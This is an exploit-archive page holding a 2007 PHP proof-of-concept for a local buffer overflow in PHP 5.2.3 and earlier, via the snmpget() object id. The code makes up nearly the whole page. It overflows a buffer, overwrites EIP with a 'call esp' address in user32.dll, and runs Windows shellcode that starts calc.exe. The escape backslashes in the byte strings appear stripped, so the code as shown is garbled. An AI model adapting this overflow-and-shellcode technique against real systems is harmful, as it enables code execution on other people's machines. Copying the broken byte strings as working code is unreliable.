[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PHP <= 5.2.3 snmpget() object id Local Buffer Overflow Exploit
# Published : 2007-07-20
# Author : shinnai
# Previous Title : Oracle 9i/10g evil views Change Passwords Exploit (CVE-2007-3855)
# Next Title : WinPcap 4.0 NPF.SYS Privilege Elevation Vulnerability PoC Exploit


<?php
//PHP <= 5.2.3 snmpget() object id local Buffer Overflow eip overwrite exploit
//bug discovered by rgod
//Original advisory: http://retrogod.altervista.org/php_446_snmpget_local_bof.html

//[quote="rgod"]more than 256 chars result in simple eip overwrite[/quote]
//right! so here it is an exploit using eip overwrite

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched

if (!extension_loaded("snmp")) die("snmp extension required!");

$buffer = str_repeat("A",256);

$EIP="xFFxBEx3Fx7E"; //call esp from user32.dll

$nop=str_repeat("x90",8);

$shellcode= //execute calc.exe
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54".
"x42x30x42x50x42x50x4bx58x45x54x4ex53x4bx58x4ex37".
"x45x50x4ax47x41x30x4fx4ex4bx38x4fx44x4ax51x4bx48".
"x4fx55x42x42x41x30x4bx4ex49x44x4bx48x46x43x4bx38".
"x41x30x50x4ex41x53x42x4cx49x49x4ex4ax46x58x42x4c".
"x46x57x47x50x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e".
"x46x4fx4bx53x46x35x46x32x46x30x45x37x45x4ex4bx48".
"x4fx35x46x32x41x50x4bx4ex48x56x4bx38x4ex50x4bx54".
"x4bx48x4fx55x4ex31x41x30x4bx4ex4bx38x4ex41x4bx38".
"x41x30x4bx4ex49x58x4ex35x46x42x46x50x43x4cx41x43".
"x42x4cx46x36x4bx48x42x34x42x33x45x38x42x4cx4ax37".
"x4ex30x4bx48x42x34x4ex50x4bx48x42x57x4ex31x4dx4a".
"x4bx38x4ax46x4ax50x4bx4ex49x50x4bx48x42x38x42x4b".
"x42x30x42x50x42x30x4bx48x4ax36x4ex53x4fx35x41x33".
"x48x4fx42x46x48x35x49x58x4ax4fx43x48x42x4cx4bx57".
"x42x55x4ax46x42x4fx4cx48x46x50x4fx35x4ax46x4ax49".
"x50x4fx4cx38x50x30x47x55x4fx4fx47x4ex43x56x41x36".
"x4ex46x43x46x50x52x45x36x4ax37x45x36x42x30x5a";

$egg = $buffer.$EIP.$nop.$shellcode.$nop;

snmpget (1, 1, $egg);
?>

# www.Syue.com [2007-07-20]